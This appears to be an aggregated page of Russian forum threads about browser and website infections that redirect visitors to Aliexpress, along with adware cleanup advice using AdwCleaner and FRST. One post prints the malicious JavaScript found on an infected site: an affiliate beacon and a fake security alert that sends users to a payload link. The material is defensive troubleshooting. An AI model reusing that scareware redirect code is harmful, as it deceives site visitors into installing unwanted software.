Здравствуйте, подскажите как с этим бороться — вирус, или ифрейм, или ещё какая зараза. Заметил. что при заходе на страницы сайта иногда редиректит на Алиэкспресс, через этак секунд 10. Это заметил на паре сайтов на Джумле 2.5 — на одном партнерка Авиасейлс, на другом женская тематика — баннеры адмитад и гдеслон. Редирект сам по себе — без нажатия на баннеры — вот такая ссыль — http://ru.Aliexpress.com/premium/category/202000220.html?aff_platform=aafcpt=1429157028619 Как бороться, где искать каку? Спасибо заранее
На сайте с 03.11.2008
16 апреля 2015, 06:16
igorpro:
Как бороться, где искать каку?
Для начала убедиться, что причина действительно в сайте — попробуй зайти с другого ПК/браузера. Если сайт, то первое — поиск по файлом. Также не будет лишним воспользоваться айболитом.
Делаю хорошие сайты хорошим людям. Предпочтение коммерческим направлениям. Связь со мной через http://wp.me/P3YHjQ-3.
На сайте с 09.12.2014
27 мая 2015, 08:15
igorpro:
Здравствуйте, подскажите как с этим бороться — вирус, или ифрейм, или ещё какая зараза. Заметил. что при заходе на страницы сайта иногда редиректит на Алиэкспресс, через этак секунд 10. Это заметил на паре сайтов на Джумле 2.5 — на одном партнерка Авиасейлс, на другом женская тематика — баннеры адмитад и гдеслон. Редирект сам по себе — без нажатия на баннеры — вот такая ссыль — http://ru.Aliexpress.com/premium/category/202000220.html?aff_platform=aafcpt=1429157028619 Как бороться, где искать каку? Спасибо заранее
Заметил у себя такую же историю. вы нашли источник проблемы? может это AdSense так делает?
На сайте с 21.11.2014
2 июня 2015, 08:12
AdSense это делать точно не будет. Начните проверку по ходу запросу: 1. Сперва проверьте уровень веб-сервера. Если используете шаред-хостинг, то наверняка стоит апач с поддержкой .htaccess. Проверьте содержимое этих файлов, там обычно в самом конце через много пустых строк будет редирект на партнерки. 2. Проверьте файл index.php в корневой папки с сайтом, посмотрите там тоже редиректы.
Наверняка уже на первом шаге всё нашли, если нет, то на втором точно 🙂 Если всё ровно не нашли, то нужно глубже анализировать весь поток запроса и проверять где редирект прописан. Это уже Вам самому будет сложно сделать.
На сайте с 13.04.2006
2 июня 2015, 08:44
Это iframe черед adsence /ru/forum/879143 тут внутри в теме много всего, в том числе и Алиэкспресс есть. Читайте, все уже обсуждено. /ru/forum/881030
https://REGHOME.ru — регистрация и продление доменов от 169₽ в российских и международных зонах по честным ценам без звездочек. (R01, WebNames, UK2). Принимаем Ю-Money, Visa, MasterCard, Мир
На сайте с 21.11.2014
2 июня 2015, 11:02
sergv:
Это iframe черед adsence
/ru/forum/879143
тут внутри в теме много всего, в том числе и Алиэкспресс есть. Читайте, все уже обсуждено.
/ru/forum/881030
Пр-р-р, вот вы меня разочаровали в гугле еще больше. Да и ладно это было бы багом, которым кто-то пользуется. Но судя по всему гугл в курсе этого и забивает на это .
ЗА ЭТО ШТРАФ И ТЮРЬМА! 25 ЗАПРЕЩЁННЫХ товаров с ALIEXPRESS 2022
На сайте с 27.05.2010
3 июня 2015, 18:48
Сегодня столкнулся с этой бедой. Яндекс написал
На страницах сайта *** обнаружены ссылки на файлы или программы, к которым добавлено дополнительное программное обеспечение. Таким образом, вместе со скачанным файлом на компьютер посетителя могут быть установлены дополнительные программы — безопасные или сомнительные.
Обнаружилось с телефона на WP 8.1, через отладчик обнаружил такой код.
(new Image).src = ‘http://s.click.Aliexpress.com/e/eyVJ6uFyr’;
if (confirm(«Ваше устройство пытаются взломать. Необходимо установить приложение для защиты.»)) <
window.top.location.href=’http://c.cpl1.ru/8zpP/pg_6′;
> else <
>
Источник: searchengines.guru
Почему Алиэкспресс перенаправляет на best Aliexpress
Сообщения: 135
Благодарности: 0
Неделю назад при входе на сайт Aliexpress, страница перезагружается на главную. Даже когда я жму на какой то товар, оно зачастую все равно обновляет страницу и кидает на главную.
И ссылки на главной начинают выглядеть вот так
+ сегодня во время серфинга иногда просто кидает на сайты казино или ставки на спорт.
Всегда был осторожен и не ставил на ПК что попало, даже не знаю как подхватил это.
Сообщения: 5173
Благодарности: 1302
Два антивируса — много
| AV: Microsoft Security Essentials AV: Avast Antivirus |
Через Панель управления — Удаление программ — удалите нежелательное ПО:
| UC Browser |
- Скачайте AdwCleaner (by Malwarebytes) и сохраните его на Рабочем столе.
- Запустите его (в ОС Vista/Windows 7, 8, 8.1, 10 необходимо запускать через правую кн. мыши от имени администратора), нажмите кнопку «Scan» («Сканировать») и дождитесь окончания сканирования.
- Когда сканирование будет завершено, отчет будет сохранен в следующем расположении: C:AdwCleanerAdwCleaner[Sx].txt .
- Прикрепите отчет к своему следующему сообщению.
——-
Для отключения данного рекламного блока вам необходимо зарегистрироваться или войти с учетной записью социальной сети.
Сообщения: 135
Благодарности: 0
Все сделал.
Последний раз редактировалось alow24, 14-11-2019 в 16:56 .
Сообщения: 5173
Благодарности: 1302
Лог очистки C:AdwCleanerAdwCleaner[C0].txt тоже покажите.
Скачайте Farbar Recovery Scan Tool (или с зеркала) и сохраните на Рабочем столе.
Примечание: необходимо выбрать версию, совместимую с Вашей операционной системой. Если Вы не уверены, какая версия подойдет для Вашей системы, скачайте обе и попробуйте запустить. Только одна из них запустится на Вашей системе.
Запустите программу. Когда программа запустится, нажмите Yes для соглашения с предупреждением.
Отметьте галочкой также «Shortcut.txt».
Нажмите кнопку Scan.
После окончания сканирования будут созданы отчеты FRST.txt, Addition.txt, Shortcut.txt в той же папке, откуда была запущена программа. Прикрепите отчеты к своему следующему сообщению.
Подробнее читайте в этом руководстве.
——-
Сообщения: 135
Благодарности: 0
Готово.
Shortcut пришлось заархивировать, был слишком большой.
Еще заметил, когда в хроме открываю новую вкладку, то появляется явно не настоящая страница поиска Google, а адресная строка — пустая.
Всплывающие рекламы казино покоя не дают..
Последний раз редактировалось alow24, 14-11-2019 в 16:56 .
Сообщения: 5173
Благодарности: 1302
- Отключите до перезагрузки антивирус.
- Выделите следующий код:
Start:: CreateRestorePoint: GroupPolicy: Restriction hxxp://www.istartpageing.com/?type=hpz=db7227bc0753706005e5858gbz8z8tdt7o5wdw1m9muid=SamsungXSSDX840XEVOX120GB_S1D5NSBDC54833W AlternateDataStreams: C:MyDocuments:3 [26] AlternateDataStreams: C:Windows: [26] AlternateDataStreams: C:UsersЧАКDesktop1.jpeg:3or4kl4x13tuuug3Byamue2s4b [87] AlternateDataStreams: C:UsersЧАКDesktop1.jpeg: [0] AlternateDataStreams: C:UsersЧАКDesktop2.jpeg:3or4kl4x13tuuug3Byamue2s4b [87] AlternateDataStreams: C:UsersЧАКDesktop2.jpeg: [0] EmptyTemp: Reboot: End::
Расширение (Блокнот) в Хроме ставили самостоятельно?
——-
Сообщения: 135
Благодарности: 0
Жаль вы не предупредили, что эти действия сотрут все вкладки, историю, и вылогинятся со всех акков (((
Сделал. Проблема осталась.
Блокнот сам давно ставил, но он отключен.
Последний раз редактировалось alow24, 14-11-2019 в 16:56 .
Сообщения: 5173
Благодарности: 1302
Отключите в Хроме все расширения, в т.ч. стандартные. Пропадет — включайте по одному, пока не найдете виновника. Название сообщите.
——-
Сообщения: 135
Благодарности: 0
Вот он гад — Free Proxy to Unblock any sites | Touch VPN
Надо было сразу так и сделать. Спасибо вам!
Последний раз редактировалось alow24, 30-06-2017 в 17:10 .
Сообщения: 5173
Благодарности: 1302
По-вашему, все предыдущее было лишне?
- Пожалуйста, запустите adwcleaner.exe
- В меню File (Файл) — выберите Uninstall (Деинсталлировать).
- Подтвердите удаление, нажав кнопку: Да.
- Загрузите SecurityCheck by glax24 http://forum.oszone.net/post-2748121.html» target=»_blank»]forum.oszone.net[/mask_link]
Вирус перенаправляет на «Aliexpress.com» (заявка № 183898)
Junior Member (OID) Регистрация 18.05.2015 Сообщений 6 Вес репутации 29
Вирус перенаправляет на «Aliexpress.com»
Добрый день!
Проблема в том,что до 14.05.15 стоял на ПК KIS 14.0.0.4651 версии по подписке у провайдера. 14-го заметил что браузер(Chrome,по умолчанию) начал при клике на любые ссылки создавать новую вкладку,на которой открывается сайт ad.adsmatte.com,затем youradexchange.com,а в итоге Aliexpress.com(иногда бывает другой),а антивирус очень часто стал выдавать сообщение о плохом сертификате и вредоносном сайте.Эти сообщения появлялись даже при закрытом браузере во время игры по интернету. В итоге я запустил полную проверку с максимальными настройками,в результате которой ничего не было найдено. Подумал что переход на 15-ю версию антивируса,возможно,поможет(новая версия была уже скачана неделю назад). После удаления старой кав ремувером новая не установилась(ошибка на завершающей стадии с предложением обратиться в поддержку),последующие переустановки с повторными скачиваниями дистрибутива не увенчались успехом.
На данный момент имею:
1) Не устанавливается касперский(любой),других фирм,в частности доктор веб,нормально становятся.
2) Восстановление системы не работает(в безопасном режиме аналогично).
3) С момента начала анимации загрузки ОС Windows 7 не работает клавиатура в обычном и безопасном режиме(в KRD все работат).
4) Ну и все злодеяния вируса в виде авто-перехода на сайт Aliexpress.com,плюс страницы открываются со второго-третьего раза,показывают сначала «Веб-страница недоступна» с ошибками типа «ERR_NAME_NOT_RESOLVED» или «DNS_PROBE_FINISHED_BAD_CONFIG».Производил полную проверку с максимальными настройками в обычном и безопасном режимах следующими программами/утилитами: KIS,AVZ,Dr.Web,KVRT,tdsskiller,mbam,Dr. Web Cureit,KRD.
Очень надеюсь на Вашу помощь! Спасибо!
Вложения
- hijackthis.log (10.6 Кб, 1 просмотров)
- virusinfo_syscheck.zip (45.2 Кб, 2 просмотров)
Источник: virusinfo.info